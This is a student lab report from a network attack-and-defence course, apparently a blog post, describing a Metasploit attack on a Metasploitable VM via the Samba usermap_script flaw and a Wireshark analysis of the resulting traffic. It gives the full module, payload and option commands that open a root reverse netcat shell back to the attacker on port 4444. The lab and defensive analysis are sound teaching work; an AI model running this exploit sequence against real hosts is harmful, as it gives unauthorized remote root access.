20252817 2025-2026-2 《网络攻防实践》实践七报告

学号 20252817 2025-2026-2 《网络攻防实践》实践七报告

1. 实践内容

本次实践主要围绕 Linux 远程渗透攻击和攻防对抗分析展开。和前一次 Windows 远程渗透实验相比,这次的目标换成了 Linux 靶机,重点是利用 Metasploit 对 Metasploitable 靶机中的典型漏洞进行攻击,并结合抓包工具分析攻击过程。

第一部分是使用 Metasploit 攻击 Linux 靶机上的 Samba usermap_script 漏洞。该漏洞对应的模块是 exploit/multi/samba/usermap_script,攻击成功后可以获得目标主机的远程 Shell,并进一步查看当前权限。

第二部分是攻防对抗实践。攻击方选择 Metasploitable 靶机中发现的漏洞进行渗透攻击,防守方使用 Wireshark 抓取攻击流量,再分析攻击者 IP、目标 IP、端口、攻击时间、漏洞类型以及攻击成功后执行的命令。通过这部分实验,可以把攻击操作和流量特征对应起来理解。

2. 实践过程

2.1 使用 Metasploit 进行 Linux 远程渗透攻击

本部分实验使用 Kali 作为攻击机,Metasploitable 作为 Linux 靶机。实验开始前先确认两台虚拟机处于同一网段,并记录 IP 地址。

主机 作用 IP 地址
Kali 攻击机 192.168.200.194
Metasploitable Linux 靶机 192.168.200.130

在 Kali 中查看本机 IP:

ip addr

image

从结果可以看到,Kali 中存在多块网卡。为了确认访问靶机时实际使用哪块网卡,我又使用路由查询命令进行确认:

ip route get 192.168.200.130

输出结果显示访问 192.168.200.130 时使用的是 eth1,源地址为 192.168.200.194,因此后续 Metasploit 中的 LHOST 应设置为 192.168.200.194

在 Metasploitable 中查看靶机 IP:

ifconfig

image

确认 IP 后,在 Kali 中使用 ping 命令测试网络连通性:

ping 192.168.200.130

如果能够收到正常回复,说明攻击机和靶机之间网络连通,可以继续进行后续实验。

image

为了确认靶机 Samba 服务端口处于开放状态,我又使用 nmap 扫描了 139445 端口:

nmap -Pn -p 139,445 192.168.200.130

image

扫描结果显示 139/tcp445/tcp 均为 open,说明靶机 Samba 服务可以被访问。

接着在 Kali 中启动 Metasploit:

msfconsole

image

进入 Metasploit 后,搜索 Samba 相关漏洞模块:

search usermap_script

image

从搜索结果中可以看到 exploit/multi/samba/usermap_script 模块,该模块用于利用 Samba 服务中的 usermap_script 远程命令执行漏洞。随后加载该模块:

use exploit/multi/samba/usermap_script

image

加载模块后,查看可用的 payload:

show payloads

image

本次实验选择远程 Shell 类型的 payload。这里可以使用正向连接,也可以使用反向连接。为了便于和抓包结果对应,我选择了 cmd/unix/reverse_netcat

set payload cmd/unix/reverse_netcat

image

然后使用 show options 查看需要配置的参数:

show options

image

根据实验环境设置靶机 IP 和攻击机 IP:

set RHOSTS 192.168.200.130
set LHOST 192.168.200.194

如果当前 Metasploit 版本使用的是 RHOST,则按照提示改成:

set RHOST 192.168.200.130

再次执行 show options,确认参数已经设置完整。

image

参数确认无误后,执行攻击:

exploit

本次执行后,Metasploit 返回如下信息:

[*] Started reverse TCP handler on 192.168.200.194:4444
[*] Command shell session 1 opened (192.168.200.194:4444 -> 192.168.200.130:33808)

其中 Command shell session 1 opened 表示远程 Shell 已经成功建立。进入 Shell 后可以执行下面的命令查看当前用户和系统信息:

whoami
id
ifconfig
pwd

image

从执行结果可以看到,当前已经获得目标 Linux 靶机的远程 Shell,并且获得了 root 权限。这说明 Samba usermap_script 漏洞利用成功。

2.2 攻防对抗实践

这一部分我自己同时完成攻击方和防守方的操作。攻击方使用 Kali 中的 Metasploit 对 Metasploitable 靶机进行攻击,防守方使用 Kali 中的 Wireshark 对攻击过程进行监听和分析。因为前面已经确认 Kali 访问靶机 192.168.200.130 时走的是 eth1,所以 Wireshark 抓包时也选择 eth1 网卡。

本次攻防对抗仍然使用已经成功验证的 Samba usermap_script 漏洞,payload 使用 cmd/unix/reverse_netcat。这样实验过程和前面的漏洞利用结果一致,抓包中的攻击流量也能和 Metasploit 中的 session 对应起来。

项目 内容
攻击方 我自己,Kali + Metasploit
防守方 我自己,Kali + Wireshark
监听网卡 eth1
攻击机 IP 192.168.200.194
靶机 IP 192.168.200.130
利用漏洞 Samba usermap_script 命令注入漏洞
目标端口 139445
回连端口 4444
Payload cmd/unix/reverse_netcat

2.2.1 防守方先打开 Wireshark 监听

在执行攻击之前,先打开 Wireshark。由于 Kali 和 Metasploitable 通信时使用的是 eth1,所以这里选择 eth1 网卡开始抓包。

为了确认应选择哪块网卡,可以先在 Kali 终端中执行:

ip route get 192.168.200.130

image

输出中显示 dev eth1 src 192.168.200.194,说明本次攻击流量会经过 eth1,Wireshark 就应该监听 eth1

Wireshark 开始抓包后,可以先在过滤栏中输入:

ip.addr == 192.168.200.194 && ip.addr == 192.168.200.130

这个过滤条件用于只显示攻击机和靶机之间的通信。设置好过滤条件后,保持 Wireshark 正在抓包,不要停止,然后再回到 Metasploit 执行攻击。

2.2.2 攻击方执行 Metasploit 攻击

在 Kali 中启动 Metasploit:

msfconsole

在 Metasploit 中加载 Samba usermap_script 模块,并设置参数:

use exploit/multi/samba/usermap_script
set payload cmd/unix/reverse_netcat
set RHOSTS 192.168.200.130
set LHOST 192.168.200.194
show options

image

确认参数无误后执行攻击:

exploit

攻击成功后,Metasploit 显示:

[*] Started reverse TCP handler on 192.168.200.194:4444
[*] Command shell session 1 opened (192.168.200.194:4444 -> 192.168.200.130)

image

获得远程 Shell 后,输入几条简单命令,方便后面在 Wireshark 的 TCP 流中看到命令内容:

whoami
id
ifconfig
pwd

image

2.2.3 Wireshark 分析攻击过程

攻击完成后,回到 Wireshark 停止抓包,然后进行分析。

第一步,看攻击发起连接。使用过滤条件:

ip.addr == 192.168.200.194 && ip.addr == 192.168.200.130 && (tcp.port == 139 || tcp.port == 445)

在过滤结果中,重点看攻击机 192.168.200.194 发往靶机 192.168.200.130 的 TCP 连接。最前面的 SYN 包就是攻击发起阶段的数据包,目的端口是 139445,对应靶机的 Samba 服务端口。这个包所在行的 Time 字段可以作为攻击发起时间。

image

第二步,看反向 Shell 连接。使用过滤条件:

ip.addr == 192.168.200.194 && ip.addr == 192.168.200.130 && tcp.port == 4444

这里重点看靶机 192.168.200.130 到攻击机 192.168.200.194:4444 的连接。Metasploit 中显示的会话是:

192.168.200.194:4444 -> 192.168.200.130:33808

从网络连接方向理解,实际是靶机使用临时端口 33808 回连攻击机的 4444 端口。Wireshark 中如果看到类似 192.168.200.130:33808 -> 192.168.200.194:4444 的 TCP 流,就说明反向 Shell 已经建立。

image

第三步,追踪命令交互内容。这里不要随便选一个 TCP 包,而是选择 tcp.port == 4444 过滤结果中带有数据内容的包,通常是 Info 中带有 PSH, ACK 的包,或者长度 Len 大于 0 的包。选中这个包后,右键选择:

Follow -> TCP Stream

image

这样可以看到攻击成功后在 Shell 中输入和返回的内容,例如 whoamiidifconfigpwd 等命令及其输出。

image

根据 Wireshark 抓包结果,本次攻击信息整理如下:

分析项目 结果
攻击者 IP 192.168.200.194
目标 IP 192.168.200.130
目标端口 139445
回连端口 4444
攻击发起时间 查看第一条发往 139/445 的 TCP SYN 包的 Time 字段
利用漏洞 Samba usermap_script 命令注入漏洞
Shellcode / Payload cmd/unix/reverse_netcat,反向 netcat shell
成功后输入的信息 whoamiidifconfigpwd
获得权限 root

综合来看,本次攻防过程是:先由防守方在 eth1 上开启 Wireshark 抓包,然后攻击方利用 Samba usermap_script 漏洞触发命令执行,靶机通过 reverse_netcat payload 回连攻击机 4444 端口。通过 Wireshark 可以看到攻击连接、反向 Shell 连接以及攻击成功后的命令交互内容。

3. 学习中遇到的问题及解决

  • 问题1:第一次执行 Samba 攻击时没有获得 session。
    一开始我把 LHOST 设置成了 192.168.200.64,Metasploit 显示 Exploit completed, but no session was created

  • 问题1解决方案:
    使用 ip route get 192.168.200.130 查询后发现,Kali 访问靶机时实际使用的源地址是 192.168.200.194。将 LHOST 改为 192.168.200.194 后,再次执行攻击成功获得远程 Shell。

  • 问题2:在 Metasploit 主界面输入 exploit 时提示 Unknown command: exploit
    这是因为当时还停留在 msf > 主界面,没有进入具体漏洞模块。

  • 问题2解决方案:
    重新执行 use exploit/multi/samba/usermap_script 进入模块,提示符变为 msf exploit(multi/samba/usermap_script) > 后,再设置参数并执行 exploit

  • 问题3:尝试使用 vsftpd_234_backdoor 模块失败。
    Metasploit 提示无法连接 6200/TCP 后门端口。

  • 问题3解决方案:
    使用 nmap -sV -p 21,6200 192.168.200.130 检查后发现,靶机 FTP 服务是 ProFTPD 1.3.1,不是 vsftpd 2.3.4,因此该模块不适用于当前靶机。最后改用已经验证成功的 Samba usermap_script 漏洞完成攻防分析。

4. 实践总结

通过这次实践,我对 Linux 远程渗透攻击的流程有了更清楚的认识。Metasploit 的基本使用步骤并不复杂,但参数必须和实际网络环境一致,尤其是反向连接 payload 中的 LHOST,如果填错网卡地址,即使漏洞触发也无法获得 session。

这次实验中,Samba usermap_script 漏洞能够直接获得目标主机远程 Shell,并且可以取得 root 权限。通过 Wireshark 抓包分析,我也看到攻击过程会在网络中留下明显痕迹,例如 Samba 端口连接、反向连接端口以及成功后输入的命令内容。

总的来说,这次实践让我把攻击和防守两部分联系起来理解。攻击方需要关注模块、payload 和参数是否正确;防守方则可以通过抓包分析还原攻击源、目标端口和命令交互过程。

参考资料

posted @ 2026-05-06 20:12  ch_c  阅读(10)  评论(0)    收藏  举报